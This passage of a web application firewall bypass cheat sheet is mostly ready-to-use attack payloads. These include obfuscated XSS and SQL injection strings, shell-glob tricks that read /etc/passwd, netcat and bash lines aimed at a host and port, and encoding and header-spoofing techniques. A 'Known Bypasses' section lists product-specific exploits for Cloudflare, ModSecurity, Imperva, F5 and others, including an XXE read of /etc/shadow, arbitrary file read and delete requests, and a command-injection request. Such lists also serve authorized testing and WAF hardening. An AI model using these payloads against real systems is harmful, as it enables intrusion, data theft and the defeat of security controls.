- Encode normal payloads with % encoding/URL encoding.
- Can be done with online tools like this.
- Burp includes a in-built encoder/decoder.
Blocked: <svG/x=">"/oNloaD=confirm()//
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
Blocked: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29
3. Unicode Normalization
- ASCII characters in unicode encoding encoding provide great variants for bypassing.
- You can encode entire/part of the payload for obtaining results.
Standard: <marquee onstart=prompt()>
Obfuscated: <marquee onstart=\u0070r\u06f\u006dpt()>
Blocked: /?redir=http://google.com
Bypassed: /?redir=http://google。com (Unicode alternative)
Blocked: <marquee loop=1 onfinish=alert()>x
Bypassed: ＜marquee loop＝1 onfinish＝alert︵1)>x (Unicode alternative)
Standard: ../../etc/passwd
Obfuscated: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd
4. HTML Representation
- Often web apps encode special characters into HTML encoding and render them accordingly.
- This leads us to basic bypass cases with HTML encoding (numeric/generic).
Standard: "><img src=x onerror=confirm()>
Encoded: "><img src=x onerror=confirm()> (General form)
Encoded: "><img src=x onerror=confirm()> (Numeric reference)
5. Mixed Encoding
- Sometimes, WAF rules often tend to filter out a specific type of encoding.
- This type of filters can be bypassed by mixed encoding payloads.
- Tabs and newlines further add to obfuscation.
Obfuscated:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
6. Using Comments
- Comments obfuscate standard payload vectors.
- Different payloads have different ways of obfuscation.
Blocked: <script>alert()</script>
Bypassed: <!--><script>alert/**/()/**/</script>
Blocked: /?id=1+union+select+1,2,3--
Bypassed: /?id=1+un/**/ion+sel/**/ect+1,2,3--
7. Double Encoding
- Often WAF filters tend to encode characters to prevent attacks.
- However poorly developed filters (no recursion filters) can be bypassed with double encoding.
Standard: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscated: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
Standard: <script>alert()</script>
Obfuscated: %253Cscript%253Ealert()%253C%252Fscript%253E
8. Wildcard Obfuscation
- Globbing patterns are used by various command-line utilities to work with multiple files.
- We can tweak them to execute system commands.
- Specific to remote code execution vulnerabilities on linux systems.
Standard: /bin/cat /etc/passwd
Obfuscated: /???/??t /???/??ss??
Used chars: / ? t s
Standard: /bin/nc 127.0.0.1 1337
Obfuscated: /???/n? 2130706433 1337
Used chars: / ? n [0-9]
9. Dynamic Payload Generation
- Different programming languages have different syntaxes and patterns for concatenation.
- This allows us to effectively generate payloads that can bypass many filters and rules.
Standard: <script>alert()</script>
Obfuscated: <script>eval('al'+'er'+'t()')</script>
Standard: /bin/cat /etc/passwd
Obfuscated: /bi'n'''/c''at' /e'tc'/pa''ss'wd
Bash allows path concatenation for execution.
Standard: <iframe/onload='this["src"]="javascript:alert()"';>
Obfuscated: <iframe/onload='this["src"]="jav"+"as	cr"+"ipt:al"+"er"+"t()"';>
9. Junk Characters
- Normal payloads get filtered out easily.
- Adding some junk chars helps avoid detection (specific cases only).
- They often help in confusing regex based firewalls.
Standard: <script>alert()</script>
Obfuscated: <script>+-+-1-+-+alert(1)</script>
Standard: <BODY onload=alert()>
Obfuscated: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>
NOTE: The above payload can break the regex parser to cause an exception.
Standard: <a href=javascript;alert()>ClickMe
Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
10. Line Breaks
- Many WAF with regex based filtering effectively blocks many attempts.
- Line breaks (CR/LF) can break firewall regex and bypass stuff.
Standard: <iframe src=javascript:confirm(0)">
Obfuscated: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">
11. Uninitialized Variables
- Uninitialized bash variables can evade bad regular expression based filters and pattern match.
- These have value equal to null/they act like empty strings.
- Both bash and perl allow this kind of interpretations.
BONUS: Variable names can have any number of random characters. I have represented them here as
$aaaaaa,$bbbbbb, and so on. You can replace them with any number of random chars like$ushdjahand so on. ;)
-
Level 1 Obfuscation: Normal
Standard:/bin/cat /etc/passwd
Obfuscated:/bin/cat$u /etc/passwd$u -
Level 2 Obfuscation: Postion Based
Standard:/bin/cat /etc/passwd
Obfuscated:$u/bin$u/cat$u $u/etc$u/passwd$u -
Level 3 Obfuscation: Random characters
Standard:/bin/cat /etc/passwd
Obfuscated:$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
An exotic payload crafted:
$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf
12. Tabs and Line Feeds
- Tabs often help to evade firewalls especially regex based ones.
- Tabs can help break firewall regex when the regex is expecting whitespaces and not tabs.
Standard: <IMG SRC="javascript:alert();">
Bypassed: <IMG SRC=" javascript:alert();">
Variant: <IMG SRC=" jav ascri pt:alert ();">
Standard: http://test.com/test?id=1 union select 1,2,3
Standard: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
Standard: <iframe src=javascript:alert(1)></iframe>
Obfuscated:
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
13. Token Breakers
-
Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
-
Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
-
However, the request must still remain valid while using token-breakers.
-
Case: Unknown Token for the Tokenizer
-
Payload:
?id=‘-sqlite_version() UNION SELECT password FROM users --
-
Payload:
-
Case: Unknown Context for the Parser (Notice the uncontexted bracket)
-
Payload 1:
?id=123);DROP TABLE users -- -
Payload 2:
?id=1337) INTO OUTFILE ‘xxx’ --
-
Payload 1:
TIP: More payloads can be crafted via this cheat sheet.
14. Obfuscation in Other Formats
- Many web applications support different encoding types and can interpret the encoding (see below).
- Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in.
Case: IIS
- IIS6, 7.5, 8 and 10 (ASPX v4.x) allow IBM037 character interpretations.
- We can encode our payload and send the encoded parameters with the query.
Original Request:
POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41
id2='union all select * from users--
Obfuscated Request + URL Encoding:
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them):
TIP: You can use this small python script to convert your payloads and parameters to your desired encodings.
| Target | Encodings | Notes |
| Nginx, uWSGI-Django-Python3 | IBM037, IBM500, cp875, IBM1026, IBM273 |
|
| Nginx, uWSGI-Django-Python2 | IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 |
|
| Apache-TOMCAT8-JVM1.8-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| Apache-TOMCAT7-JVM1.6-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| IIS6, 7.5, 8, 10 -ASPX (v4.x) | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 |
|
HTTP Parameter Pollution
Method:
- This attack method is based on how a server interprets parameters with the same names.
- Possible bypass chances here are:
- The server uses the last received parameter, and WAF checks only the first.
- The server unites the value from similar parameters, and WAF checks them separately.
Technique:
- The idea is to enumerate how the parameters are being interpreted by the server.
- In such a case we can pass the payload to a parameter which isn't being inspected by the WAF.
- Distributing a payload across parameters which can later get concatenated by the server is also useful.
Below is a comparison of different servers and their relative interpretations:
| Environment | Parameter Interpretation | Example |
| ASP/IIS | Concatenation by comma | par1=val1,val2 |
| JSP, Servlet/Apache Tomcat | First parameter is resulting | par1=val1 |
| ASP.NET/IIS | Concatenation by comma | par1=val1,val2 |
| PHP/Zeus | Last parameter is resulting | par1=val2 |
| PHP/Apache | Last parameter is resulting | par1=val2 |
| JSP, Servlet/Jetty | First parameter is resulting | par1=val1 |
| IBM Lotus Domino | First parameter is resulting | par1=val1 |
| IBM HTTP Server | Last parameter is resulting | par1=val2 |
| mod_perl, libapeq2/Apache | First parameter is resulting | par1=val1 |
| Oracle Application Server 10G | First parameter is resulting | par1=val1 |
| Perl CGI/Apache | First parameter is resulting | par1=val1 |
| Python/Zope | First parameter is resulting | par1=val1 |
| IceWarp | An array is returned | ['val1','val2'] |
| AXIS 2400 | Last parameter is resulting | par1=val2 |
| DBMan | Concatenation by two tildes | par1=val1~~val2 |
| mod-wsgi (Python)/Apache | An array is returned | ARRAY(0x8b9058c) |
HTTP Parameter Fragmentation
- HPF is based on the principle where the server unites the value being passed along the parameters.
- We can split the payload into different components and then pass the values via the parameters.
Sample Payload: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Sample Query URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS
TIP: A real life example how bypasses can be crafted using this method can be found here.
Browser Bugs:
Charset Bugs:
- We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
- When the site decodes the string, the payload gets triggered.
Example request:
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept-Charset:utf-32; q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
When the site loads, it will be encoded to the UTF-32 encoding that we set, and
then as the output encoding of the page is UTF-8, it will be rendered as: "<script>alert (1) </ script> which will trigger XSS.
Final URL encoded payload:
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
Null Bytes:
- The null bytes are commonly used as string terminator.
- This can help us evade many web application filters in case they are not filtering out the null bytes.
Payload examples:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
Standard: <a href="javascript:alert()">
Obfuscated: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variant: <a 0x00 href="javascript:alert(1)">clickme</a>
Parsing Bugs:
- RFC states that NodeNames cannot begin with whitespace.
- But we can use special chars like
%,//,!,?, etc.
Examples:
-
<// style=x:expression\28write(1)\29>- Works upto IE7 (Source) -
<!--[if]><script>alert(1)</script -->- Works upto IE9 (Reference) -
<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>- Works in IE7 (Reference) -
<%div%20style=xss:expression(prompt(1))>- Works Upto IE7
Unicode Separators:
- Every browser has their own specific charset of separators.
- We can fuzz charset range of
0x00to0xFFand get the set of separators for each browser. - We can use these separators in places where a space is required.
Here is a compiled list of separators by @Masato Kinugawa:
- IExplorer:
0x09,0x0B,0x0C,0x20,0x3B - Chrome:
0x09,0x20,0x28,0x2C,0x3B - Safari:
0x2C,0x3B - FireFox:
0x09,0x20,0x28,0x2C,0x3B - Opera:
0x09,0x20,0x2C,0x3B - Android:
0x09,0x20,0x28,0x2C,0x3B
An exotic payload example:
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
Using Atypical Equivalent Syntactic Structures
- This method aims at finding a way of exploitation not considered by the WAF developers.
- Some use cases can be twitched to critical levels where the WAF cannot detect the payloads at all.
- This payload is accepted and executed by the server after going through the firewall.
Some common keywords overlooked by WAF developers:
- JavaScript functions:
-
window -
parent -
this -
self
-
- Tag attributes:
-
onwheel -
ontoggle -
onfilterchange -
onbeforescriptexecute -
ondragstart -
onauxclick -
onpointerover -
srcdoc
-
- SQL Operators
-
lpad -
field -
bit_count
-
Example Payloads:
- Case: XSS
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
- Case: SQLi
SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)
Many alternatives to the original JavaScript can be used, namely:
However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)
Abusing SSL/TLS Ciphers:
- Many a times, servers do accept connections from various SSL/TLS ciphers and versions.
- Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload.
Technique:
- Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this).
- Find out the ciphers supported by the server (tools like SSLScan helps here).
- If a specific cipher not supported by WAF but by the server, is found, voila!
- Initiating a new connection to the server with that specific cipher should smuggle our payload in.
Tool: abuse-ssl-bypass-waf
python abuse-ssl-bypass-waf.py -thread 4 -target <target>
CLI tools like cURL can come very handy for PoCs:
curl --ciphers <cipher> -G <test site> -d <payload with parameter>
Abuse WAF limit on HTTP Responses
Method
- Many a times, WAFs have a limit on how much of the HTTP request they are meant to handle.
- By sending a HTTP request with a size greater than the limit, we can fully evade WAFs.
Technique
- Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB).
- Once done, attach your payload to the request after filling the limit with garbage.
A similar technique was used to bypass Google Cloud Platform WAF.
Abusing DNS History:
- Often old historical DNS records provide information about the location of the site behind the WAF.
- The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF.
TIP: Some online services like IP History and DNS Trails come to the rescue during the recon process.
Tool: bypass-firewalls-by-DNS-history
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
Using Whitelist Strings:
Method:
- Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF.
- This shared secret, if leaked/known, can be used to bypass all protections within the WAF.
Technique:
- Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF.
- Usually some
*-sync-requestkeywords or a shared token value is used as the secret. - Often adding specific headers may trigger a similar whitelist behaviour.
Now when making a request to the server, you can append it as a parameter:
http://host.com/?randomparameter=<malicious-payload>&<shared-secret>=True
A real life example how this works can be found at this blog.
Request Header Spoofing:
Method:
- The target is to fool the WAF/server into believing it was from their internal network.
- Adding some spoofed headers to represent the internal network, does the trick.
Technique:
- With each request some set of headers are to be added simultaneously thus spoofing the origin.
- The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.
Some common headers used:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
Google Dorks Approach:
Method:
- There are a lot of known bypasses of various web application firewalls (see section).
- With the help of google dorks, we can easily find bypasses.
Techniques:
Before anything else, you should hone up skills from Google Dorks Cheat Sheet.
-
Normal search:
+<wafname> waf bypass -
Searching for specific version exploits:
"<wafname> <version>" (bypass|exploit) -
For specific type bypass exploits:
"<wafname>" +<bypass type> (bypass|exploit) -
On Exploit DB:
site:exploit-db.com +<wafname> bypass -
On 0Day Inject0r DB:
site:0day.today +<wafname> <type> (bypass|exploit) -
On Twitter:
site:twitter.com +<wafname> bypass -
On Pastebin
site:pastebin.com +<wafname> bypass
Known Bypasses:
Airlock Ergon
- SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult
%C0%80'+union+select+col1,col2,col3+from+table+--+
AWS
"; select * from TARGET_TABLE --
- XSS Bypass by @kmkz
<script>eval(atob(decodeURIComponent("payload")))//
Barracuda
- Cross Site Scripting by @WAFNinja
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
- HTML Injection by @Global-Evolution
GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
- XSS Bypass by @0xInfection
<a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere
- Barracuda WAF 8.0.1 - Remote Command Execution (Metasploit) by @xort
- Barracuda Spam & Virus Firewall 5.1.3 - Remote Command Execution (Metasploit) by @xort
Cerber (WordPress)
- Username Enumeration Protection Bypass by HTTP Verb Tampering by @ed0x21son
POST host.com HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
author=1
- Protected Admin Scripts Bypass by @ed0x21son
http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils
http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar
- REST API Disable Bypass by @ed0x21son
http://host/index.php/wp-json/wp/v2/users/
Citrix NetScaler
- SQLi via HTTP Parameter Pollution (NS10.5) by @BGA Security
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<string>’ union select current_user, 2#</string>
</soapenv:Body>
</soapenv:Envelope>
http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e
Cloudflare
<svg onx=() onload=(confirm)(1)>
<a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
1'"><img/src/onerror=.1|alert``>
<svg/onload=alert()//
<a href="j	a	v	asc
ri	pt:\u0061\u006C\u0065\u0072\u0074(this['document']['cookie'])">X</a>`
- XSS Bypass by @Ahmet Ümit
<--`<img/src=` onerror=confirm``> --!>
javascript:{alert`0`}
<base href=//knoxss.me?
- XSS Bypass by @RenwaX23 (Chrome only)
<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x
cat$u+/etc$u/passwd$u
/bin$u/bash$u <ip> <port>
";cat+/etc/passwd+#
Cloudbric
<a69/onclick=[1].findIndex(alert)>pew
Comodo
- XSS Bypass by @0xInfection
<input/oninput='new Function`confir\u006d\`0\``'>
<p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme
- SQLi by @WAFNinja
0 union/**/select 1,version(),@@datadir
DotDefender
- Firewall disable by (v5.0) by @hyp3rlinx
PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>
- Remote Command Execution (v3.8-5) by @John Dos
POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15
- Persistent XSS (v4.0) by @EnableSecurity
GET /c?a=<script> HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<script>alert(1)</script>: aa
Keep-Alive: 300
- R-XSS Bypass by @WAFNinja
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
- XSS Bypass by @0xInfection
<p draggable=True ondragstart=prompt()>alert
<bleh/ondragstart=	parent	['open']	()%20draggable=True>dragme
<a69/onclick=[1].findIndex(alert)>click
- GET - XSS Bypass (v4.02) by @DavidK
/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)" />
- POST - XSS Bypass (v4.02) by @DavidK
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source)" />
-
claveXSS (v4.02) by @DavidK
/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{
Fortinet Fortiweb
-
pcre_expressionunvaidated XSS by @Benjamin Mejri
/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0
- CSP Bypass by @Binar10
POST Type Query
POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>
var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>
GET Type Query
http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>
F5 ASM
- XSS Bypass by @WAFNinja
<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>
F5 BIG-IP
- XSS Bypass by @WAFNinja
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
- XSS Bypass by @Aatif Khan
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)“>
https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+
- POST Based XXE by @Anonymous
POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143
<?xml version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>
- Directory Traversal by @Anastasios Monachos
Read Arbitrary File
/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd
Delete Arbitrary File
POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded
_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete
F5 FirePass
- SQLi Bypass from @Anonymous
state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+
ModSecurity
<a href="jav%0Dascript:alert(1)">
;+$u+cat+/etc$u/passwd$u
;+$u+cat+/etc$u/passwd+\#
- RCE Payloads for PL1 and PL2 by @theMiddle (v3.0)
/???/??t+/???/??ss??
- RCE Payloads for PL3 by @theMiddle (v3.0)
/?in/cat+/et?/passw?
- SQLi Bypass by @Johannes Dahse (v2.2)
0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
- SQLi Bypass by @Yuri Goltsev (v2.2)
1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')
- SQLi Bypass by @Ahmad Maulana (v2.2)
1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
- SQLi Bypass by @Travis Lee (v2.2)
amUserId=1 union select username,password,3,4 from users
- SQLi Bypass by @Roberto Salgado (v2.2)
%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
- SQLi Bypass by @Georgi Geshev (v2.2)
1%0bAND(SELECT%0b1%20FROM%20mysql.x)
- SQLi Bypass by @SQLMap Devs (v2.2)
%40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29
- SQLi Bypass by @HackPlayers (v2.2)
%0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201
Imperva
<input id='a'value='global'><input id='b'value='E'><input 'id='c'value='val'><input id='d'value='aler'><input id='e'value='t(documen'><input id='f'value='t.domain)'><svg+onload[\r\n]=$[a.value+b.value+c.value](d.value+e.value+f.value)>
<x/onclick=globalThis['\u0070r\u006f'+'mpt']<)>clickme
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click
<a69/onclick=write()>pew
<details/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"/open>
- Imperva SecureSphere 13 - Remote Command Execution by @rsp3ar
- XSS Bypass by @David Y
<svg onload\r\n=$.globalEval("al"+"ert()");>
- XSS Bypass by @Emad Shanab
<svg/onload=self[`aler`%2b`t`]`1`>
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
- XSS Bypass by @WAFNinja
